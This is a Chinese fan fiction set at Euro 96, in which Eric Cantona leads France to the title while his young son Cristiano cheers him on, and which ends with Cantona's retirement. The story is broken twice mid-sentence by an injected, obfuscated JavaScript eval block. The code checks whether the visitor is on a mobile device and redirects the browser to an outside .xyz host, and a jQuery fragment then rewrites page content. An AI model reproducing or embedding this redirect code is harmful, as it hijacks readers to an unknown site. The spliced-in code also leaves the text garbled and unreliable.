坎通纳继续着脚下的颠球练习：“他们昨天还说我是‘不确定因素’。” 齐达内加入训练：“西班牙看了你的表现，肯定会重点盯防。我们需要准备B计划。” “那就让他们盯我，”坎通纳轻松地将球挑过头顶，“你和德约卡夫会有更多空间。” 雅凯到来后，训练转向针对西班牙的战术演练。法国队重点练习了快速传递和边中结合，坎通纳在模拟对抗中不断回撤接应，为队友创造机会。 “保持这种状态！”雅凯在场边喊道，“西班牙的中场控制力很强，我们必须更快更果断！” 训练结束后，坎通纳接到弗格森的电话。 “看了你这两场比赛，”苏格兰人的声音透过听筒传来，“状态不错，但别太拼了。下赛季曼联还需要你。” 坎通纳微笑：“放心，老板。我每天都有加练。” “克里斯怎么样？”弗格森突然问，“小家伙适应你不在家的日子吗？” “他在U12大杀四方，”坎通纳骄傲地说，“还当起了我的远程战术顾问。” 弗格森大笑：“告诉他，下赛季他可以来卡灵顿当球探。” 挂断电话，坎通纳望向训练场另一端——德尚和佩蒂特正在加练定位球防守，齐达内和德约卡夫讨论着跑位路线。这支法国队有着惊人的天赋和团结，或许真的能在英格兰的土地上创造历史。而他要做的，就是像在曼联那样，成为那个在关键时刻站出来的领袖。 不是为了证明什么，只是为了那些相信他的人——他的国家，他的队友，还有那个在曼彻斯特的电视机前为他欢呼的小男孩。 6月18日，利兹的埃兰路球场再次座无虚席。法国队与西班牙的小组赛最后一轮即将打响，尽管法国已经提前出线，但这场比赛将决定小组头名的归属。坎通纳站在球员通道里，轻轻转动着手腕上的蓝色手绳——克里斯蒂亚诺昨晚在电话里千叮咛万嘱咐：“爸爸，一定要戴着它上场！它会带来好运！” 德尚走过来，拍了拍他的肩膀：“放松点，埃里克。这场不是生死战，但我们得让西班牙知道我们的实力。” 坎通纳点点头，目光扫过对面的西班牙球员——耶罗、瓜迪奥拉、劳尔……这支球队技术细腻，控球能力极强，绝不会轻易让出中场。 “记住，”德尚压低声音，“如果他们重点盯防你，就把球快速转移。齐达内和德约卡夫会找到空当。” 坎通纳活动了下肩膀：“让他们来盯我试试。” 当两队球员步入球场时，欢呼声如潮水般涌来。坎通纳深吸一口气，目光扫过看台，法国球迷的蓝色旗帜在阳光下格外醒目。他想起克里斯蒂亚诺此刻一定守在电视机前，小脸紧贴着屏幕，生怕错过任何一个细节。 比赛开始后，西班牙果然展现出了强大的控球能力。瓜迪奥拉在中场从容调度，耶罗和阿尔科塔组成的后防线坚如磐石。法国队则耐心寻找机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586933|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会，坎通纳频繁回撤接应，试图打乱西班牙的防守节奏。 第22分钟，场上出现第一次真正威胁。齐达内中路突破后分边，利扎拉祖左路传中，坎通纳在禁区内高高跃起——头球攻门！西班牙门将苏比萨雷塔飞身将球扑出底线！ “该死！”坎通纳懊恼地甩了甩头，但立刻向利扎拉祖竖起大拇指，“好传！继续！” 角球开出，德塞利抢到第一点，但顶得太正，被苏比萨雷塔没收。西班牙随即发动快速反击，劳尔在禁区前沿一脚低射，被法国门将拉玛奋力扑出。 比赛陷入胶着，双方在中场展开激烈拼抢。第38分钟，坎通纳在前场背身拿球，被耶罗从身后凶狠放倒。裁判鸣哨，法国队获得一个位置极佳的任意球。 “你来还是我来？”德约卡夫小声问。 坎通纳将球摆好：“我来。” 他后退几步，目光锁定球门左上角。裁判哨响，坎通纳助跑——右脚弧线球！球绕过人墙，直奔死角！苏比萨雷塔飞身扑救，指尖勉强碰到皮球，但球依然钻入网窝！1-0！ 进球后的坎通纳冲向角旗区，再次做出那个爱心手势——献给千里之外的克里斯蒂亚诺。队友们蜂拥而上，德尚揉着他的头发：“漂亮！就这么踢！” 看台上的法国球迷疯狂庆祝，而西班牙球员则面色凝重。重新开球后，他们明显加快了节奏，频频通过边路发起攻势。 下半场开始仅5分钟，西班牙就扳平了比分。瓜迪奥拉精准长传找到右路的阿方索，后者突破利扎拉祖后传中，劳尔门前抢点破门！1-1！ 法国队的后防线一时有些慌乱，西班牙趁势加强攻势。第63分钟，劳尔再次获得单刀机会，幸好拉玛神勇扑救，将球挡出底线。 场边的雅凯做出调整，用卡伦布换下佩蒂特，加强中场拦截。坎通纳则被要求更多回撤，帮助球队稳住节奏。 “别急！控制住球！”德尚在中场大声指挥，“埃里克，多接应！” 坎通纳擦了擦额头的汗水，开始更多地串联中场和锋线。第75分钟，他在中场拿球，一个漂亮的马赛回旋过掉瓜迪奥拉，随即送出一记直塞——德约卡夫突入禁区，小角度射门被苏比萨雷塔扑出！ “就差一点！”场边的雅凯遗憾地挥了挥手。 比赛最后阶段，双方都获得了一些机会，但都未能改写比分。终场哨响，1-1的比分保持到了最后。法国队以小组第一的身份晋级八强，西班牙以小组第二出线。 混合采访区，记者们将坎通纳团团围住。 “坎通纳先生，对这场比赛的表现满意吗？” “我们本可以赢下来，”坎通纳调整着手腕上的蓝色手绳，“但西班牙是一支强队，平局也是合理的结果。” 回到更衣室，雅凯对全队的表现表示满意：“小组第一出线，这是我们的目标。现在，把注意力转向淘汰赛。” 德尚走过来，递给坎通纳一瓶水：“那个任意球真漂亮。看来曼联的训练没白费。” “克里斯会比我更高兴，”坎通纳喝了口水，“他最近迷上了任意球，每天缠着莉莉数他踢了多少次。” 更衣室里的气氛轻松愉快，尽管没能全取三分，但小组头名的成绩已经足够令人满意。 回到酒店后，坎通纳立刻拨通了家里的电话。克里斯蒂亚诺几乎是瞬间接了起来：“爸爸！那个任意球太棒了！” 坎通纳笑出声：“谢谢夸奖，小冠军。你今天训练了吗？” “当然！我练了50次任意球！妈妈当人墙！”克里斯蒂亚诺的声音充满自豪，“爸爸，我能去看你的下一场比赛吗？” 坎通纳顿了顿：“淘汰赛会很紧张，冠军。而且你的训练……” “求求你了！”小男孩的声音立刻带上了哭腔，“我保证每天加练！我可以用暑假作业交换！” 电话那头传来艾米莉的轻笑：“他已经求了我一整天了。” 坎通纳揉了揉太阳穴：“让我和雅凯教练商量一下，好吗？但前提是你得完成所有训练和作业。” “我保证！”克里斯蒂亚诺立刻欢呼起来，“我爱你，爸爸！” 挂断电话后，坎通纳望向窗外的夜空。星光下的利兹城安静而美丽，远处隐约可见球场的轮廓。四分之一决赛将在利物浦的安菲尔德球场进行，对手是荷兰——另一支才华横溢的球队。 第二天清晨，坎通纳在早餐时向雅凯提出了请求。 “克里斯蒂亚诺想来看比赛？”雅凯挑了挑眉，“家庭看台应该还有位置。” “如果不合适就算了，”坎通纳谨慎地说，“我不想影响球队。” 雅凯笑了：“埃里克，家人是我们的力量源泉，不是负担。让他来吧，说不定能给我们带来好运。” 坎通纳点点头，立刻给家里回了电话。克里斯蒂亚诺的尖叫声几乎震破他的耳膜：“真的吗？我真的能去吗？我要穿什么？带什么？我能见到齐达内吗？” “一个一个来，冠军，”坎通纳忍俊不禁，“妈妈会安排好一切。你只需要记住——” “认真训练，完成作业，不给妈妈添麻烦！”克里斯蒂亚诺熟练地接话，“我知道，爸爸！” 挂断电话后，坎通纳走向训练场。阳光洒在草坪上，德尚和齐达内已经开始热身。他深吸一口气，加入队友们的行列。 四天后，他们将在安菲尔德迎战荷兰。而这一次，看台上将多一个最忠实的小球迷——一个把他的每场比赛都当作节日的小男孩。 坎通纳摸了摸手腕上的蓝色手绳，嘴角不自觉地上扬。无论结果如何，这段重返国家队的旅程，已经因为克里斯蒂亚诺的存在而变得格外珍贵。 23.荣耀之路 6月23日，利物浦安菲尔德球场的客队更衣室里，坎通纳正仔细系着球袜的绑带。克里斯蒂亚诺坐在他身旁的长凳上，小脸因兴奋而泛红——雅凯特批他进入更衣室，前提是“保持安静”。小男孩的手指无意识地摩挲着父亲手腕上的蓝色手绳，仿佛要将自己的能量传递过去。 “紧张吗？”坎通纳低声问儿子，手上继续整理护腿板。 克里斯蒂亚诺摇摇头，又点点头：“比我自己比赛还紧张……爸爸，荷兰队的德波尔兄弟真的会一起上场吗？” “阿尼和罗纳德，”坎通纳系紧鞋带，“一个在中场，一个在后防。不过——”他忽然捏了捏儿子的小腿肚，“记得我教你的？遇到双人包夹怎么办？” “横向拉扯创造空间！”小男孩条件反射般回答，随即捂住嘴——更衣室里其他球员都笑了起来。 德尚扔过来一瓶运动饮料：“小战术家，要不你来布置战术？” 克里斯蒂亚诺的脸瞬间红透，坎通纳笑着揉乱他的卷发：“去观众席找妈妈吧，比赛结束给你讲所有细节。” 当坎通纳踏上安菲尔德草皮时，看台上爆发出震耳欲聋的嘘声——对利物浦球迷来说这可是曼联的“国王”。克里斯蒂亚诺坐在家属区第一排，双手紧紧抓着栏杆，身旁的艾米莉用镜头记录下父子隔空对视的瞬间。 比赛开始后，荷兰队展现出恐怖的攻击力。第7分钟，博格坎普接戴维斯直塞形成单刀，拉玛神勇扑救将球挡出底线！角球开出，克鲁伊维特力压德塞利头槌攻门——砰！球重重砸在横梁上！ “爸爸小心啊！”克里斯蒂亚诺急得站起来，被艾米莉轻轻按回座位。 稳住阵脚的法国队开始反击。第23分钟，坎通纳回撤到中场接球，一个漂亮的脚后跟磕球摆脱戴维斯，随即送出40米精准长传——德约卡夫右路插上，小角度抽射被范德萨扑出！ “该死！”坎通纳懊恼地甩手，却见齐达内已冲他竖起大拇指。两人目光交汇，心照不宣地点点头。 转折出现在第38分钟。坎通纳左路突破被纽曼放倒，裁判判罚任意球。他亲自站到球前，目光扫过紧张排人墙的荷兰球员。看台上，克里斯蒂亚诺屏住呼吸，小拳头攥得发白。 助跑，起脚！皮球划出诡异弧线，绕过人墙后急速下坠——范德萨判断失误，球钻入近角！1-0！ “Goal！！！埃里克·坎通纳！！！”解说员嘶吼着，“完美的电梯球！法国队打破僵局！” 坎通纳冲向家属区，掀起球衣露出内衬上的手写标语：“Pour克里斯”——那是昨晚儿子用荧光笔写下的。克里斯蒂亚诺疯狂挥舞着蓝色围巾，眼泪和笑容糊了满脸。 下半场荷兰队疯狂反扑。第67分钟，奥维马斯左路突破传中，克鲁伊维特头球扳平比分！1-1！整个安菲尔德陷入沸腾，荷兰球迷的橙色浪潮几乎掀翻顶棚。 关键时刻，坎通纳展现了领袖风范。他拍着手召集队友：“别慌！按训练时的来！”第78分钟，他在中场抢断戴维斯，连过两人后送出手术刀直塞——替补登场的洛科单刀破门！2-1！ 终场哨响时，克里斯蒂亚诺翻过栏杆想冲进场内，被安保人员一把抱住。坎通纳见状，直接翻过广告牌将儿子扛上肩头。摄像机定格下这一幕：满身泥泞的7号抱着穿同款球衣的小男孩，背景是漫天飞舞的蓝白色纸片。 更衣室通道里，克里斯蒂亚诺亦步亦趋地跟着父亲，眼睛黏在德尚的队长袖标上。德尚突然停下脚步：“想摸吗？”说着摘下袖标递过去。 小男孩触电般缩回手，抬头看父亲。坎通纳点头后，他才小心翼翼触碰那颗浮雕的雄鸡徽章。“将来你也会有的。”德尚揉乱他的头发。 回到酒店，克里斯蒂亚诺迫不及待摊开笔记本：“爸爸，那个任意球怎么踢的？为什么球会突然下坠？” 坎通纳用毛巾擦着头发：“用脚背内侧击球下部，触球瞬间脚腕要抖一下——”他突然把儿子拎到床上，“现在，睡觉！明天再教。” 深夜，艾米莉发现丈夫站在阳台凝视星空。“担心半决赛？”她递上热牛奶。 坎通纳摇头，看向熟睡的儿子：“他在U12联赛明天有关键战，我却不能到场……” 艾米莉握住他的手：“他更骄傲的是有个为国家征战的父亲。今天进球后，他冲着荷兰球迷大喊‘那是我爸爸’，差点被安保请出场。” 次日，曼彻斯特郊外的青训场上，克里斯蒂亚诺正在热身。他手腕上戴着与父亲同款的蓝色手绳，球袜提到膝盖上方——完全模仿坎通纳的装扮。 “坎通纳二世！”对方球员起哄，“你爸昨天进两个，你今天能进几个？” 小男孩抿紧嘴唇。开场第5分钟，他在右路拿球，突然一个踩单车接马赛回旋——完美复刻父亲昨日的过人！突入禁区后却犹豫了，射门被门将没收。 “犹豫就会败北！”教练在场边大喊，“想想你父亲的眼神！” 下半场，机会再度来临。克里斯蒂亚诺左路突破被双人包夹，电光石火间想起父亲的教导：“横向拉扯！”他急停变向，从两人缝隙间钻出，右脚推射远角！1-0！ 终场前，他又用一记头球锁定胜局。赛后，他冲向场边记者举着的话筒：“这两个进球献给我爸爸！他在利物浦赢了荷兰！” 当晚，这段采访在《当日比赛》节目中播出。坎通纳在酒店房间里又哭又笑，德尚默默递上纸巾：“你儿子比你还会抢头条。” 6月26日，老特拉福德球场更衣室内，坎通纳正在用绷带固定护腿板。克里斯蒂亚诺蹲在一旁，小手捏着父亲换下的训练服，鼻尖几乎贴到衣服上的草渍——仿佛这样就能吸收父亲的能量。 “爸爸，捷克队的门将很高吗？”小男孩突然抬头问道。 “库巴，1米96。”坎通纳用马克笔在护腿板上画了条竖线，“但高个子转身慢。”他戳了戳儿子的膝盖，“就像上个月你踢利物浦U12时那个吊射。” 克里斯蒂亚诺眼睛一亮：“你要吊射他？” 更衣室门口传来雅凯的笑声：“小间谍套情报呢？”法国主帅走进来，将战术板放在长凳上，“埃里克，捷克人的中场绞杀很凶，我们需要你回撤接应。” 坎通纳点头，顺手把儿子拎到战术板前：“克里斯，看出什么问题了吗？” 小男孩盯着捷克队的4-4-2阵型图，突然指向右路：“他们的8号跑动很多，但左边卫速度慢！” 雅凯和坎通纳对视一眼，同时挑眉。“看来我们的球探报告该让这小子过目。”雅凯笑着揉了揉克里斯蒂亚诺的头发。 6月27日，曼彻斯特的雨幕中，老特拉福德被染成蓝白海洋。克里斯蒂亚诺裹着法国队围巾坐在家属席，雨水顺着他的发梢滴落，他却死死盯着球员通道——父亲正与德尚低声交谈，手腕上的蓝色手绳在雨中格外醒目。 开场哨响，捷克队立刻展现东欧铁骑的硬朗。第8分钟，内德维德飞铲坎通纳，主裁判仅出示黄牌。克里斯蒂亚诺猛地站起来：“这是犯规！”艾米莉连忙按住他：“冷静，爸爸能处理。” 坎通纳一瘸一拐起身，朝场边竖起大拇指示意无碍。他俯身抓起一把湿滑的草皮抹在鞋钉上，转头对德尚低吼：“他们怕了！” 第23分钟，法国队打出致命反击。德尚后场断球直塞，坎通纳背身倚住捷克中卫卡德莱克，脚后跟轻巧一磕——皮球穿过卡德莱克□□，齐达内插上推射远角！1-0！ “马赛魔术！”解说员嘶吼着。坎通纳冲向角旗区，双手比出“11”的手势——克里斯蒂亚诺的年龄。小男孩疯狂挥舞围巾，雨水和泪水在脸上肆意横流。 捷克队疯狂反扑。第37分钟，波博斯基右路突破传中，库卡门前抢点被拉玛神勇扑出！德塞利大脚解围，坎通纳中线附近胸部停球，突然启动——连过三人后突入禁区，面对出击的库巴轻巧挑射！2-0！ “Goal！！！埃里克·坎通纳！！！”整座球场在雨中沸腾。克里斯蒂亚诺翻过栏杆想冲进场内，被安保人员拦腰抱住。坎通纳见状，竟翻身跃过广告牌，将儿子扛上肩头。摄像机镜头里，浑身泥浆的7号与穿同款球衣的小男孩击掌庆祝，成为欧洲杯经典画面。 中场休息时，队医掀起坎通纳的球袜，淤青触目惊心。克里斯蒂亚诺缩在角落，死死咬住嘴唇不敢出声。 “没事，”坎通纳推开冰袋，朝儿子招手，“过来，小冠军。” 小男孩颤抖着抚摸父亲腿上的淤青：“疼吗？” “比不过你上次被铲到膝盖。”坎通纳故意龇牙——那是克里斯蒂亚诺上月比赛的“壮举”。 雅凯敲了敲战术板：“捷克人下半场会疯抢，埃里克，我需要你……” “当诱饵。”坎通纳接口，转头对儿子眨眼，“记得我们看的《动物世界》吗？猎豹怎么捕猎的？” “故意暴露弱点，等猎物扑空！”克里斯蒂亚诺脱口而出。 更衣室爆发出笑声，德尚把队长袖标戴在小男孩胳膊上：“下任队长提前预定了。” 下半场，捷克人的反扑如暴风骤雨。第61分钟，斯米切尔远射被扑，贝伊布尔补射扳回一城！2-1！ 关键时刻，坎通纳践行了“诱饵”战术。第78分钟，他故意在右路缓慢带球，吸引三名防守球员后突然回敲——德约卡夫斜塞左路空当，利扎拉祖插上传中！坎通纳鬼魅般出现在小禁区，鱼跃冲顶！3-1！ “埃里克·坎通纳！！！梅开二度！！！”解说席炸裂。克里斯蒂亚诺踩着座椅蹦跳，艾米莉的相机记录下他嘶吼的瞬间，背后是捷克球迷绝望的抱头。 终场哨响时，坎通纳瘫坐在草皮上。克里斯蒂亚诺突破安保冲进场内，用小手擦拭父亲脸上的泥水。“我们进决赛了！”他的哭声混着雨水，“你说过要带我去温布利！” 深夜酒店房间里，坎通纳从背包取出染血的护腿板——那是他故意留下的半决赛“纪念品”。克里斯蒂亚诺抚摸着板上的裂痕，突然抽泣：“我不要你受伤……” “听着，”坎通纳抬起儿子的下巴，“疼痛会消失，但退缩的耻辱永远在。记住，真正的勇敢不是不怕，而是害怕仍要前进。” 小男孩抓起床头的足球：“我现在去练盘带！练到不怕铲球为止！” 艾米莉在门口微笑摇头，坎通纳却当真起身：“走，酒店后院有块草坪。” 月光下，父子俩在雨中练习变向。坎通纳一次次故意踢倒儿子：“起来！快起来！”克里斯蒂亚诺浑身湿透，却越摔越凶，直到成功突破父亲的防守。 “就是这样！”坎通纳将球踩在脚下，“决赛对德国，他们比捷克还凶十倍。” “那就打倒他们十次！”克里斯蒂亚诺的童声划破雨夜。 6月30日，伦敦温布利大球场更衣室内，坎通纳的护腿板上多了一道新划痕——那是半决赛被捷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594339|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克球员鞋钉留下的“纪念”。克里斯蒂亚诺坐在地上，用棉签小心地为父亲擦拭膝盖上的碘酒痕迹，仿佛在修复一尊珍贵的雕塑。 “比恩霍夫的头球很危险，”德尚展开德国队战术板，“克林斯曼会不断拉扯防线……” 坎通纳突然举起儿子的小手：“克里斯，告诉叔叔们德国队的弱点。” 小男孩涨红了脸，但在父亲鼓励的目光下，手指颤抖着指向战术板：“他们的3号转身慢……还有，科普克扑远射时喜欢提前移动！” 更衣室鸦雀无声，雅凯突然大笑：“明天你坐教练席！” “紧张吗？”德尚走到他身旁，递过一杯浓缩咖啡。 坎通纳接过杯子：“比1993年世界杯预选赛冷静些。” “那场比赛……”德尚欲言又止。 “过去了。”坎通纳将咖啡一饮而尽，“明天我们会书写新的历史。” 温布利球场的灯光将夜空照得如同白昼。克里斯蒂亚诺紧抓栏杆，眼睛一眨不眨地盯着球员通道。当坎通纳戴着蓝色手绳的身影出现时，小男孩的尖叫淹没在九万人的声浪中。 开场哨响，德国队立刻展现钢铁般的纪律性。第6分钟，克林斯曼突入禁区被德塞利放倒，主裁判果断判罚点球！整个温布利陷入死寂。 “不会的……”克里斯蒂亚诺捂住眼睛，从指缝中看到德国队队长萨默尔站上罚球点。 助跑，射门！拉玛判断对了方向，但球依然钻入网窝！1-0！ 镜头给到坎通纳——他正在中圈弯腰抓起一把草屑，抹在鞋钉上。“他在调整鞋钉长度，”解说员敏锐地指出，“温布利的草皮今晚格外湿滑。” 这个细节没有逃过克里斯蒂亚诺的眼睛：“妈妈！爸爸要发力了！”话音未落，坎通纳已经断下德国中场的传球，一路狂奔40米后重炮轰门！球擦着横梁飞出底线。 法国队逐渐掌控局面。第34分钟，坎通纳左路突破被双人包夹，他突然用脚后跟将球磕向中路——德约卡夫迎球怒射！德国门将科普克飞身将球托出横梁。 法国队得到一个角球，坎通纳在角旗区做了个隐蔽的手势，齐达内短角球传给坎通纳，后者假动作晃过防守，一记弧线球传中——布兰科后点头槌破门！1-1！ “Goal！！！“克里斯蒂亚诺从座位弹起，撞翻了饮料也浑然不觉。 直到上半场结束，双方都没有再次建功。 更衣室里雅凯正在布置下半场的战术。“他们右后卫确实有伤，”雅凯用马克笔圈住斯特伦茨的名字，“下半场主攻这一侧。” 坎通纳往膝盖上缠着新的绷带：“萨默尔在故意引诱我们传中，他们的中卫头球太强。” “那怎么办？”德尚皱眉。 “地面球，”坎通纳撕开胶带，“打他们中卫脚下。克里斯说过——”他突然意识到失言，但更衣室已经哄笑起来。 “看来我们得给小坎通纳发教练证，”雅凯拍拍战术板，“下半场，我要看到更多地面渗透！“ 90分钟战成1-1，比赛进入加时。克里斯蒂亚诺的指甲已经在掌心留下深深月牙，但他拒绝去洗手间：“万一错过爸爸进球呢？” 第98分钟，决定性时刻到来。齐达内中场摆脱两人防守，送出一记手术刀直塞。坎通纳如离弦之箭启动，在德国中卫巴贝尔拉拽下强行突入禁区！ “点球？！”法国球迷集体起立，但裁判示意比赛继续。坎通纳失去平衡前用脚尖将球捅向中路——德约卡夫拍马赶到，推射空门！2-1！ 温布利球场地动山摇！坎通纳被队友们压在身下，蓝色手绳从护腕中滑出，在草皮上格外醒目。克里斯蒂亚诺哭喊着父亲的名字，声音淹没在声浪中。 德国队展开疯狂反扑。第112分钟，比埃尔霍夫的头球击中横梁！法国门前风声鹤唳，坎通纳甚至回撤到禁区内解围。 终场前最后一分钟，德国队全员压上。坎通纳在本方禁区前沿断球，一路长途奔袭60米！面对出击的科普克，他轻巧挑射——球划过一道优雅的抛物线，坠入空门！3-1！ “冠军！！！”克里斯蒂亚诺的眼泪夺眶而出。坎通纳脱下球衣冲向家属区，将克里斯蒂亚诺抱过栏杆。小男孩的双手紧握父亲汗湿的脸庞：“你是世界第一！世界第一！” 领奖台上，德尚特意让坎通纳第一个举起德劳内杯。当《马赛曲》响彻温布利时，克里斯蒂亚诺站在母亲身旁，用走调的童声跟唱，小手紧攥着父亲换下的球衣。 更衣室里，香槟喷溅中，雅凯将坎通纳推到中央：“没有你的回归，就没有这座奖杯！” “没有你们的信任，我也不会回来。”坎通纳举起奖杯，香槟顺着杯壁流到蓝色手绳上。角落里，克里斯蒂亚诺正偷偷用德尚的队长袖标擦拭奖杯。 深夜的庆功宴上，疲惫的小男孩在父亲怀中睡着，手里还抓着奖杯的一角。坎通纳轻轻掰开他的手指，发现掌心有一道深深的血痕——那是比赛中紧张过度自己掐出来的。 “傻瓜，”他亲吻儿子的额头，“爸爸永远不会让你失望。” 窗外，伦敦的夜空绽放烟花。艾米莉靠在他肩头：“现在去哪儿？马赛？” “先回家。”坎通纳看着儿子熟睡的脸庞，“有人答应要练100次左脚射门才准度假。” 烟花的光芒透过窗户，在德劳内杯上流转。克里斯蒂亚诺在梦中呢喃：“……再练一次……” 24.告别的季节（1） 1997年5月4日，老特拉福德球场的阳光格外温柔。曼联对阵西汉姆联的比赛即将开始，这是赛季的倒数第二场，曼联已经提前夺冠。克里斯蒂亚诺坐在替补席后面的家属区，膝盖上摊开着一本笔记本——他最近养成了记录父亲比赛数据的习惯，从跑动距离到关键传球，甚至包括每次触球的方向。 “今天爸爸会首发吗？”小男孩扭头问母亲。 艾米莉微笑着整理儿子卷曲的刘海：“弗格森先生说，这是他的告别战之一。” “告别？”克里斯蒂亚诺的笔尖顿在纸上，墨水晕开一小片蓝色。 艾米莉轻轻捏了捏儿子的肩膀：“爸爸有重要的事情要告诉你，等比赛结束。” 克里斯蒂亚诺的心脏突然跳得很快，但他没有追问。父亲从不隐瞒他任何事，如果现在不说，一定有他的理由。 球员通道内，坎通纳正在整理队长袖标。贝克汉姆走过来，递给他一杯运动饮料：“紧张吗，老大？” 坎通纳接过杯子，喝了一口：“比欧洲杯决赛轻松点。” “真的决定了？”贝克汉姆压低声音，“董事会愿意给你终身合同。” 坎通纳的目光穿过通道，落在草坪上：“有些决定和时间无关，大卫。” 当现场广播念出他的名字时，老特拉福德爆发出震耳欲聋的欢呼。球迷们高举着“只有一个坎通纳”的横幅，看台上甚至有人挥舞着法国国旗——去年欧洲杯夺冠的余温仍在。坎通纳小跑入场，目光扫过看台，在克里斯蒂亚诺身上停留了一秒。小男孩正咬着笔帽，眉头紧锁，像在解一道复杂的数学题。 比赛开始后，曼联很快掌控了节奏。坎通纳的位置比往常更加自由，时而回撤到中场组织，时而突入禁区抢点。第18分钟，他在右路接到吉格斯的传球，一个假动作晃过防守队员，随即送出一记弧线传中——索尔斯克亚门前轻松推射破门！1-0！ 进球后，索尔斯克亚第一时间指向坎通纳，全队围在一起庆祝。克里斯蒂亚诺在笔记本上记下“第12次助攻”，但笔迹有些发抖。 “怎么了？”艾米莉注意到儿子的异常。 克里斯蒂亚诺摇摇头：“爸爸今天跑得比平时慢。” 确实，坎通纳的节奏明显比巅峰时期放缓了。有几次回追，他的脚步略显沉重，但意识和技术依然顶尖。第37分钟，他在中场拿球，突然送出一记40米精准长传——贝克汉姆右路插上，凌空抽射被门将扑出！ “见鬼！”坎通纳罕见地骂出声，但随即向贝克汉姆竖起大拇指。 上半场结束前，西汉姆联意外扳平比分。坎通纳在中圈开球时，脸色异常平静。他弯腰抓起一把草屑，抹在鞋钉上——这是克里斯蒂亚诺最熟悉的赛前动作。 更衣室里，弗格森没有做太多战术调整：“享受比赛吧，小伙子们。这是属于你们的赛季。” 坎通纳坐在自己的位置上，慢慢解开鞋带，又重新系紧。基恩走过来，递给他一条毛巾：“不打算进一个？” “看运气。”坎通纳擦了擦额头的汗水，抬头看向更衣室角落的电视——那里正播放着上半场集锦，他的那脚长传被反复回放。 下半场开始后，曼联加强了攻势。第58分钟，坎通纳在禁区前沿被放倒，裁判判罚任意球。他亲自站到球前，目光扫过人墙，又瞥了一眼看台上的克里斯蒂亚诺。小男孩已经站了起来，双手紧握栏杆。 助跑，起脚！皮球绕过人墙，直挂死角！2-1！ 进球后的坎通纳没有狂奔庆祝，只是站在原地，右手按在胸前——那里是心脏的位置。克里斯蒂亚诺的笔掉在了地上，他突然有种奇怪的预感，好像父亲在通过这个动作告诉他什么。 “爸爸……”他小声呢喃，但声音淹没在球迷的欢呼中。 第75分钟，弗格森做出换人调整——坎通纳被安迪·科尔替换下场。整个老特拉福德起立鼓掌，球迷们高唱着“只有一个坎通纳”。法国人慢慢走向场边，与每一位队友拥抱，最后摘下队长袖标，亲手戴在基恩手臂上。 经过替补席时，他抬头看向看台，与克里斯蒂亚诺四目相对。小男孩的眼里满是困惑和不安，但坎通纳只是微微一笑，朝他眨了眨眼。 比赛最终以2-1结束。混合采访区，记者们将坎通纳团团围住。 “坎通纳先生，这是您最后一次在老特拉福德比赛吗？” 坎通纳调整着手腕上的护腕——克里斯蒂亚诺去年送的那条蓝色手绳已经磨损严重，但他依然戴着：“足球场上的告别从来不是终点，而是新的开始。” “有传言说您可能退役……” “所有故事都有结局。”坎通纳避开了直接回答，“今晚，我只想感谢曼联球迷这五年来的支持。” 回到更衣室，弗格森正在等他。苏格兰人手里拿着一瓶威士忌和两个玻璃杯：“喝一杯？” 坎通纳接过杯子：“医生会杀了我的。” “去他的医生。”弗格森倒上琥珀色的液体，“埃里克，你确定不告诉球迷真实原因？” 坎通纳转动着酒杯：“心脏问题只是导火索，亚历克斯。真正的理由是……”他看向更衣室柜门上贴着的照片——克里斯蒂亚诺在U14比赛的进球瞬间，“我不想某天因为反应慢了半秒，让他看到父亲被担架抬出去的样子。” 弗格森沉默片刻，举杯相碰：“曼联永远有你的位置。” “我知道。”坎通纳一饮而尽，“但我更想要个能看到他每天训练的位置。” 克里斯蒂亚诺在停车场来回踱步，直到坎通纳的身影出现。小男孩飞奔过去，一头撞进父亲怀里：“爸爸，记者说的是真的吗？你要退役？” 坎通纳抱起儿子——12岁的克里斯蒂亚诺已经有些分量了，但他还是习惯这样拥抱他：“上车再说，冠军。” 回家的路上，车内异常安静。艾米莉从后视镜看着后座的父子俩——克里斯蒂亚诺紧盯着窗外，手指不安地绞着衣角；坎通纳则望着前方，右手无意识地按在胸口。 “是因为心脏吗？”快到家的路口，克里斯蒂亚诺突然开口，声音很小，但足够清晰。 坎通纳的呼吸微微一滞：“谁告诉你的？” “我自己发现的。”小男孩转过头，眼眶发红，“去年欧洲杯后，你每次训练完都会偷偷吃药。还有……你睡觉时心跳声有时候很奇怪。” 艾米莉惊讶地看向丈夫——他们从未在孩子面前提过心脏的事。 坎通纳深吸一口气，将车停在路边。他转身面对儿子：“是的，但不全是。医生说我还能踢两年，但……”他轻轻捧住克里斯蒂亚诺的脸，“爸爸想用更多时间陪你长大，而不是赌那两年的可能性。” 克里斯蒂亚诺的眼泪终于掉下来：“可你是世界上最好的球员！” “但我永远是你爸爸。”坎通纳用拇指擦去儿子的泪水，“而且，我可以专心当你的教练了，不是吗？” 小男孩扑进父亲怀里，抽泣着说：“我……我会成为最好的球员……替你赢更多冠军……” 坎通纳抱紧儿子，望向窗外的夕阳。曼彻斯特的天空染成了金红色，就像五年前他刚加盟曼联时一样绚烂。 